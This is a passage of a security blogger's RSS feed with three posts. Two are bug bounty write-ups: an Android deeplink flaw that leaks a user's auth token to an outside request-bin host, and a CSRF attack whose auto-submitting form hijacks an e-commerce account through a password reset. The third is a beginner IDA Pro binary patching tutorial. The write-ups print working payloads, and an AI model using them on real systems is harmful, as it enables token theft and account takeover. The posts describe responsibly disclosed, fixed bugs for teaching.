     lk.a aVar = this.f34788g;<br>            aVar.getClass();<br>            l.f(&quot;uriString&quot;, str4);<br>            if (aVar.b(w5.f.e(str4)) == null) {<br>                z11 = false;<br>            }<br>            if (!z11) {<br>                e(new AbstractC0963a.C0964a(null));<br>                e60.f.h(d.w(this), null, 0, new tu.b(this, str4, null), 3);<br>                return;<br>            }<br>            e(new AbstractC0963a.C0964a(str4));<br>            return;<br>        }<br>        lk.a aVar2 = this.f34788g;<br>        aVar2.getClass();<br>        l.f(&quot;uriString&quot;, str4);<br>        if (aVar2.b(w5.f.e(str4)) == null) {<br>            z11 = false;<br>        }<br>        if (!z11) {<br>            e(new AbstractC0963a.C0964a(null));<br>            e60.f.h(d.w(this), null, 0, new tu.b(this, str4, null), 3);<br>            return;<br>        }<br>        e(new AbstractC0963a.C0964a(str4));<br>    }<br>}</pre><pre>package lk;<br><br>import java.util.List;<br>import kb.vd;<br><br>/* loaded from: classes2.dex */<br>public final class h {<br><br>    /* renamed from: a  reason: collision with root package name */<br>    public static final List&lt;String&gt; f22766a = vd.s(&quot;career&quot;, &quot;careers&quot;, &quot;create-campaign&quot;, &quot;forgot-password&quot;);<br>}</pre><p>After examining the code and its function call, here’s what I found:</p><ul><li>The scheme, host, pathSegments, and URI are passed and become str, str2, list, and str4.</li><li>There’s a deeplink validation where scheme = “https”; Host = “m.redacted.com” or “www.redacted.com&quot; or “redacted.com”; pathSegments = “career” or “careers” or “create-campaign” or “forgot-password”.</li><li>If the validation is met, the next deeplink is called: rdct://urlweb?url={uri}</li><li>“urlweb” host and “url” parameter? Probably webview is used to display the content of the link</li></ul><h4><strong>Attempt</strong></h4><p>That got me thinking: instead of trying to bypass the deeplink validation, what if we just directly use the second deeplink? I attached my RequestBin URL to the second deeplink and hosted the exploit on my server.</p><pre>&lt;html&gt;<br>&lt;a href=&quot;rdct://urlweb?url=https://eob50v516tpfupi.m.pipedream.net&quot;&gt;exploit&lt;/a&gt;<br>&lt;/html&gt;</pre><p>Then, I clicked the link through my mobile browser. The app was opened (even without asking for confirmation), but… nothing really happened. It just stayed on the home activity without opening any webview or something. However, when I put https://www.redacted.com in the url parameter, the webview opened. I assumed the validation still worked.</p><h4>Alternative</h4><p>Half desperated *lol, i tried to enumerate other things on the app to find something useful. Back to <em>AndroidManifest.xml, </em>I noticed that there’s another activity that have its own webview functionality:</p><pre>&lt;activity android:theme=&quot;@style/AppTheme&quot; android:name=&quot;com.redacted.android.subredacted.webview.SubredactedActivity&quot; android:screenOrientation=&quot;portrait&quot; android:windowSoftInputMode=&quot;adjustResize&quot;/&gt;</pre><p>This “subredacted” is a program that operates within Company “redacted”, and its main focus is providing charitable insurance products. I dug deeper, code by code, looking for where this “subredacted” is called, and I found a bunch of strings like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dUwH2DGf5gxDRnZVQaBmvg.jpeg" /><figcaption>rdct://subredacted</figcaption></figure><p>This means that the “subredacted” is also being used as a host somewhere in the code! Therefore, I replaced the “urlweb” host with subredacted, and the final payload will look like this:</p><pre>&lt;html&gt;<br>&lt;a href=&quot;rdct://subredacted?url=https://eob50v516tpfupi.m.pipedream.net&quot;&gt;exploit1&lt;/a&gt;<br>&lt;/html&gt;</pre><p>Once again, clicking the deeplink immediately opened my redacted app. However, this time, it jumped directly into the subredacted’s webview page. Rather than displaying the subredacted’s page, it displayed the connection result for my request bin instead. Bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*uWLZPjZAKiBznvXLehQH8g.png" /><figcaption>requestbin response on the webview</figcaption></figure><p>I was already happy to discover that any URL can be opened with the app’s webview, indicating a flaw in the validation process. However, what was even more surprising was when I checked the request bin, an AUTH_TOKEN was there! It was passed in clear text as a GET parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r701TmOxTrgeca8hdrJ6pw.jpeg" /><figcaption>authorization token leaked on requestbin</figcaption></figure><p>The auth_token supposedly used by the subredacted API to authorize users from the main app by parsing the value. By changing the url, the request will be sent from victim’s mobile app to that url WITH THEIR TOKEN STILL ATTACHED.</p><p>And just like that, I could set up a website that automatically redirects visitors to open the deeplink payload, causing their auth_token to be immediately leaked. I reported this vulnerability to the concerned enterprise via email, and they quickly responded, confirmed the issue, and fixed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*zz0Vngl4ptCF3U47fHcEhA.png" /><figcaption>bounty classification</figcaption></figure><h4>Authorization token leakage? So… another account takeover?</h4><p>Unfortunately, the authorization token that leaked from the subredacted API is different from the token used in the main redacted app. I couldn’t identify any subredacted feature that requires the use of an access token, apart from accessing the subredacted page. None of the features are associated with the user’s account on the main redacted page. Therefore, the most significant impact I found was an Open redirect and Sensitive Information Disclosure from user details within the leaked JWT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Ent2nJyRucPuCxqffrSM8Q.jpeg" /><figcaption>details leaked</figcaption></figure><p>Thank you for reading this article :)<br>Stay Curious!</p><h3>Key Takeaway</h3><ul><li>Search for exported activity in the AndroidManifest file, perform static analysis on the activity, and attempt to identify any misconfigurations in the code. Pay attention to parameters like url, extra_url, link, redirect, etc. that are connected to WebView</li><li>Explore other potential options and conduct trial and error experiments to confirm the chosen approach.</li></ul><h3>Timeline</h3><p>24 Jan 2023 : Bug was discovered.</p><p>24 Jan 2023 : Bug was reported to company by email</p><p>29 Jan 2023 : Bug was fixed on app version 4.54.0</p><p>2 Feb 2023 : Bug Status Triaged as Medium Severity</p><p>16 Feb 2023 : Bounty paid (IDR xxx.xxx)</p><p>Thanks for reading! Check out these awesome references too!</p><ul><li><a href="https://fluidattacks.com/blog/account-takeover-kayak/">Account Takeover in KAYAK | Blog | Fluid Attacks</a></li><li><a href="https://medium.com/@jalee0606/how-i-found-my-first-one-click-account-takeover-via-deeplink-in-ryde-5406010c36d8">How I found my first one-click account takeover via deeplink in Ryde</a></li><li><a href="https://blog.oversecured.com/Android-security-checklist-webview/">Android security checklist: WebView</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0a566677639" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-leak-others-access-token-by-exploiting-evil-deeplink-flaw-a0a566677639">How I Leak Other’s Access Token by Exploiting Evil Deeplink Flaw</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Was Able to Takeover User Accounts via CSRF on an E-Commerce Website]]></title>
            <link>https://infosecwriteups.com/how-i-was-able-to-takeover-user-accounts-via-csrf-on-an-e-commerce-website-1e2dcf740c3d?source=rss-95298496373d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e2dcf740c3d</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Crisdeo Nuel Siahaan]]></dc:creator>
            <pubDate>Sun, 05 Feb 2023 10:18:23 GMT</pubDate>
            <atom:updated>2023-02-10T19:47:19.800Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRFG2QeuVzFcazD8kjoeHg.jpeg" /></figure><p>Hi Folks!</p><p>In this article, We’ll talk about the topic of cross-site request forgery (CSRF) vulnerabilities and I’ll share my personal experience of successfully executing a one-click account takeover on an e-commerce website. This serves as a reminder of the critical role that proper security measures play in keeping our sensitive information safe.</p><h3><strong>So… What’s this CSRF thing?</strong></h3><p>Cross-Site Request Forgery (CSRF) is a type of security vulnerability that affects web applications. It happens when a malicious website is able to trick a user’s browser into sending a request to another website, without the user’s knowledge or consent. This can be used to perform unauthorized actions, such as modifying the user’s profile, posting unwanted content, or making unauthorized purchases.</p><p><strong>How it works?</strong></p><p>Imagine that a user, let’s call him<strong> victim A</strong>, has logged into his account on an online bank website that is vulnerable to CSRF. Then he send a request to transfer money to his nephew, Little Timmy. The normal request would look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iQVl039Kv86TeKoCaX179g.jpeg" /><figcaption>normal request</figcaption></figure><p>After that, let’s say <strong>victim A</strong> visits a malicious website created by <strong>attacker B</strong>. Since the online bank website has a CSRF vulnerability, the malicious website could send a forged prefilled request to the bank website to transfer money to <strong>attacker B</strong>, without <strong>victim A</strong> even noticing. This is possible because <strong>victim A</strong>’s browser automatically sends a valid session token with each request, which allows the <strong>attacker B</strong> to take actions on behalf of the <strong>victim A</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*latAq0Da99lyKq5FfDHDrQ.jpeg" /><figcaption>CSRF request</figcaption></figure><p><strong>How to protect?</strong></p><p>To protect against CSRF attacks, websites need to implement proper security measures. One common method is to include a unique token, known as a CSRF token, with each form submission. This token is checked on the server to make sure that the request came from the same website that it was intended for. This way, even if a malicious website sends a request, the server will know it’s not legitimate and reject it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5az1l6R6A84xmBxlGBLI6A.jpeg" /><figcaption>CSRF protection</figcaption></figure><p>In summary, CSRF is a serious security vulnerability that can have devastating consequences for both users and websites. It’s important for web developers to be aware of this threat and take the necessary steps to protect their users.</p><h3><strong>The Bug</strong></h3><p>The target is an E-commerce website from United States. Like most E-Commerce websites, this website provided a feature edit profile on customer’s account. I can’t disclose the name of the website, so let’s call it as redacted.com :)</p><p>First, I created a dummy victim account and filled in the details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34_cQ2WgzeMSNFhtgt6DtQ.jpeg" /><figcaption>victimemail@gmail.com</figcaption></figure><p>During my testing of updating a user profile using Burp Suite, I noticed that the server uses a POST request to send the updated information and there is no protection against CSRF in place. The profile update request appears as follows:</p><pre>POST /secure/profile/profile_form_handler.php HTTP/2<br>Host: redacted.com<br>Cookie: &lt;user_cookies_goes_here&gt;<br>User-Agent: Mozilla/5.0 (Windows VT 10.0; Win64; x64, rv:102.0) Gecko/20100101 Firefox/102.0<br>Accept: text/html, */*; q=0.01<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: grip, deflate<br>Content-Type: application/x-www-form-urlencoded, charset=UTF-8<br>X-Requested-With: XMLMttpRequest<br>Content-Length: 231<br>Origin: redacted.com<br>Referer: https://redacted.com/secure/profile/profile<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-origin<br>Te: trailers<br><br>nextpage=%2Fsecure%2Fprofile%2Fupdated_profile&amp;prevpage=%2Fsecure%2Fprofile%2Fprofile&amp;fromea=&amp;selectedRadialValue=790&amp;txtEmail=victimemail%40gmail.com&amp; txtFirstName=victim&amp;txtLastName=victim&amp;txtDayPhone=12345678&amp;hdnSmsPhone=12345678</pre><p>Now, I copied this CSRF POC from <a href="https://hackerone.com/reports/834366">https://hackerone.com/reports/834366</a> , modify the data, and saved it as an html page. Here’s my POC:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;https://redacted.com/secure/profile/profile_form_handler.php&quot; method=&quot;POST&quot;&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;nextpage&quot; value=&quot;%2Fsecure%2Fprofile%2Fupdated_profile&quot;/&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;prevpage&quot; value=&quot;%2Fsecure%2Fprofile%2Fprofile&quot;/&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;selectedRadialValue&quot; value=&quot;790&quot;/&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;txtEmail&quot; value=&quot;lybybyte@mailo.icu&quot;/&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;txtFirstName&quot; value=&quot;hacked&quot;/&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;txtLastName&quot; value=&quot;hacked&quot;/&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;txtDayPhone&quot; value=&quot;999999999&quot;/&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;hdnSmsPhone&quot; value=&quot;999999999&quot;/&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>Then I opened the POC in a victim’s browser, and it displayed a “success” response. Upon re-visiting the redacted.com profile page, I observed that the attacker had successfully updated the victim’s profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwfhA0jleI9n85gusjQRjg.jpeg" /><figcaption>Response Success</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A-2eBraOXjTaF5bxRquLjg.jpeg" /><figcaption>Just one click from the victim and the victim profile is entirely updated</figcaption></figure><p>Jackpot! Just one click from the victim and the victim profile is entirely updated. At this point, the integrity aspect of the user has been compromised, but can we do further?</p><h3><strong>Escalation</strong></h3><p>As victim’s email has been replaced, how to escalate this into account takeover? Yep, forgot password!</p><p>Next, I opened a incognito browser window to assume the role of the attacker. I visited the redacted.com login page and clicked on the “forgot password” link. Knowing that the victim’s email was changed to “lybybyte@mailo.icu” that the attacker have access to it, I requested for the password reset link to be sent to that email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*xAyTj51z5YLFEF_S8F-aFg.jpeg" /><figcaption>forgot password with attacker’s email attached to victim’s account</figcaption></figure><p>A password reset link was then sent to the attacker’s email. I opened the link, entered a new password, and that was it. I was able to take over the victim’s account without ever having access to their original email or password :)</p><p>I immediately reported this vulnerability to the concerned enterprise through its Public Vulnerability Disclosure Program on Hackerone.</p><p>Thank you for reading this article :)<br>Stay Curious!</p><h3><strong>Key Takeaway</strong></h3><ul><li>Verify the presence of a CSRF token in all sensitive API requests using Burp Suite.</li></ul><h3><strong>Timeline</strong></h3><p>30 Jun 2022 : Bug was discovered.</p><p>1 Jul 2022 : Bug was reported to Hackerone public program.</p><p>1 Jul 2022 : Bug Status Triaged as High Severity.</p><p>27 Oct 2022 : Bug fixed (ineligible for bounty).</p><p>Want to learn more about CSRF? Check out these articles too!</p><ul><li><a href="https://medium.com/@charithra/introduction-to-csrf-a329badfca49">Introduction to CSRF</a></li><li><a href="https://medium.com/@chiragrai3666/csrf-today-techniques-mitigations-and-bypasses-b1cf6a6cd81c">CSRF Today: Techniques, Mitigations and Bypasses</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e2dcf740c3d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-was-able-to-takeover-user-accounts-via-csrf-on-an-e-commerce-website-1e2dcf740c3d">How I Was Able to Takeover User Accounts via CSRF on an E-Commerce Website</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Binary Patching with IDA Pro (part 1)]]></title>
            <link>https://medium.com/@k_kisanak/binary-patching-with-ida-pro-part-1-c806d0f20d22?source=rss-95298496373d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c806d0f20d22</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[aids]]></category>
            <category><![CDATA[binary-patching]]></category>
            <dc:creator><![CDATA[Crisdeo Nuel Siahaan]]></dc:creator>
            <pubDate>Fri, 07 Oct 2022 10:04:54 GMT</pubDate>
            <atom:updated>2022-10-07T10:04:54.162Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/170/1*wIdgOpBHJ9ZY7xeY4R7CWw.png" /></figure><p>Hey Folks! I made this article as a tutorial on how to do a simple patching of a program using the Ida Pro disassembler software. This article is intended for all of you who may be started learning Reverse Engineering and want to learn how to basically do Patching.</p><p>What you need:</p><ul><li>IDA Pro (I use version 7.6, but lower/higher version won’t be give much different)</li><li>C compiler (I use gcc 11.2.0)</li><li>Your favorite code editor (vscode, sublime text, notepad, msWord *lol*, etc.)</li></ul><p>Let’s just begin, shall we?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*tusDtIp9Q5EYKPwXVEiWpw.gif" /></figure><p><strong>Let’s start with … What is Binary Patching?</strong></p><p>Patching, in this context, is a process of modifying the bytes or instructions of an executable program (ELF, EXE, etc.). Simply put, Patching allows us to make changes to the values ​​or the flow of a program.</p><p><strong>What is IDA?</strong></p><p>IDA, stands for Interactive Disassembler, is a tool that is able to disassemble a Compiled Executable and present it in the form of Assembly Code. While IDA Pro is the premium/paid version of IDA, with more features and being able to generate Pseudocode of the program so it will be easier for humans to understand.</p><p>This software is one of the most used tool in the Reverse Engineering because it has many useful features such as decompiling, reading program flow, debugging, and the one we will discuss later, that’s patching.</p><p><strong>Patch an Integer Variable using IDA Pro</strong></p><p>For this patching experiment, I have prepared a C language code below that will be compiled into ELF (Executable and Linkable Format) using gcc.</p><p><em>Source Code:</em></p><pre>#include &lt;stdio.h&gt;</pre><pre>int main(){<br> int the_number = 5;<br> printf(&quot;Welcome to patch experiment.\n&quot;);<br> printf(&quot;your number is: %d\n&quot;, the_number);<br> return 0;<br>}</pre><p><em>Compile &amp; Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*qe6GracHJbP2Zb1im9vuzA.png" /></figure><p>Very simple isn’t it? This code only prints the “the_number” variable that contains a predetermined value, which is 5. Now, what we want to do now is that<strong> we want to try to change the “the_number” value from 5 to another value </strong>using the patching technique.</p><p>First of all, we fire up our IDA Pro, then click New and find where the file that we want to patch is located (the compiled one, not the source code).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*36os5FNychuQWPvL_8amwA.png" /><figcaption>firing up ida 🔥</figcaption></figure><p>Then load the file in the ELF64 format as shown in the picture below and just click “OK”. Then wait for it to finish loading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLwt08_pLXOmRV-_2t6xSg.png" /></figure><p>After that, it will look like the picture below. In this part, we can see the program flow in the form of graph, text, or pseudocode which contains the program’s instructions in assembly language.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i70q4n8-eSFU9L14bHTTFg.png" /><figcaption>graph view</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDHka4DIz0vzArtpCCp49g.png" /><figcaption>text view (right click on graph -&gt; text view)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CIdrOUds53Msw4d3NlOw4A.png" /><figcaption>pseudocode view (hit F5 on keyboard)</figcaption></figure><p>as you can see, the almighty IDA are able to generate pseudocode that looks really similar to our original source code. But for now, let’s just focus on text view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDHka4DIz0vzArtpCCp49g.png" /></figure><blockquote>.text:0000000000001151 mov [rbp+var_4], 5</blockquote><p>Take a look on instruction above. We can see the integer 5, which is the same value as “<strong>the_number</strong>” variable in our source code. Indicating that the value 5 is stored in program [rbp+var_4] register through the mov instruction.</p><p>To change the value, just click and block the integer 5, then go to the <strong>Edit tab-&gt;Patch Program-&gt;Change bytes</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t72iWabpnTdtYWmG1Sklsg.png" /><figcaption>Click 5-&gt;Edit tab-&gt;Patch Program-&gt;Change bytes.</figcaption></figure><p>Then a pop-up will appear as shown in the picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*CosoaqPCGV0hVBYoccH86Q.png" /></figure><p>The value will be displayed in Hexadecimal form, and we can see the value <em>05 00 00 00</em> where <em>05</em> is the hex value of integer <em>5</em>. Suppose we want to change the value to <em>77</em> which has a hex value of <em>4d</em>, we just need to change the <em>05 00 00 00</em> part to <em>4D 00 00 00</em>. And then hit “OK”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*w6S_8X7yGQi18QVrGCgVjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nAoHLW_bM5HuwMyDdNwESA.png" /></figure><p>Instruction that used to be <em>mov [rbp+var_4], 5</em> now has changed to <em>mov [rbp+var_4], 77</em>. Now we’ve changed the value, the next step is we recompile the program again into ELF with the changed bytes. You do this by clicking the <strong>Edit tab-&gt;Patch program-&gt;Apply patches to input file</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iKsvS07iduWnyyLkOcxSMg.png" /><figcaption>Edit tab-&gt;Patch program-&gt;Apply patches to input file.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*uqp12QKgmEZQcSdso0vUjg.png" /><figcaption>another pop up</figcaption></figure><p>Now, after a pop-up like this comes out, we can ignore the <em>start EA</em> and <em>end EA</em> option in this case (because we want the entire program to be recompiled). Make sure the <em>Input file</em> part shows the path to your original binary file.</p><p>All we have to do is click OK and the program file that we entered earlier will be overwritten with the new program that we have patched. Alternatively, we can check the “Create Backup” checklist if you don’t want the old files to be overwritten with the new ones.</p><p>After that, just run the patched program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*qe6GracHJbP2Zb1im9vuzA.png" /><figcaption>before patch</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*i3QuHWOhfH6eJht8QS56Bw.png" /><figcaption>after patch</figcaption></figure><p>Voila! From the output above we can see that the variable “the_number” that we printed has changed its value from 5 to 77. Congratulations, we have successfully did a binary patching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*bnRPZ5vq_k1uIQGvSo4dJw.gif" /></figure><p>Well folks, that’s about all the basic steps for Binary Patching with almighty IDA. For the next parts we will explore more deeply about Patching and what other things we can patch. So, thank you for reading and have a great weekend B-)</p><p>Stay curious!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*6aoJJ1vxsIe6GXdE2H5-6g.gif" /></figure><p>References (you should read ’em too!):</p><ul><li><a href="https://www.hex-rays.com/ida-pro/ida-disassembler/">IDA disassembler</a></li><li><a href="https://vickieli.dev/binary%20exploitation/intro-to-binary-patching/">Intro To Binary Patching</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c806d0f20d22" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>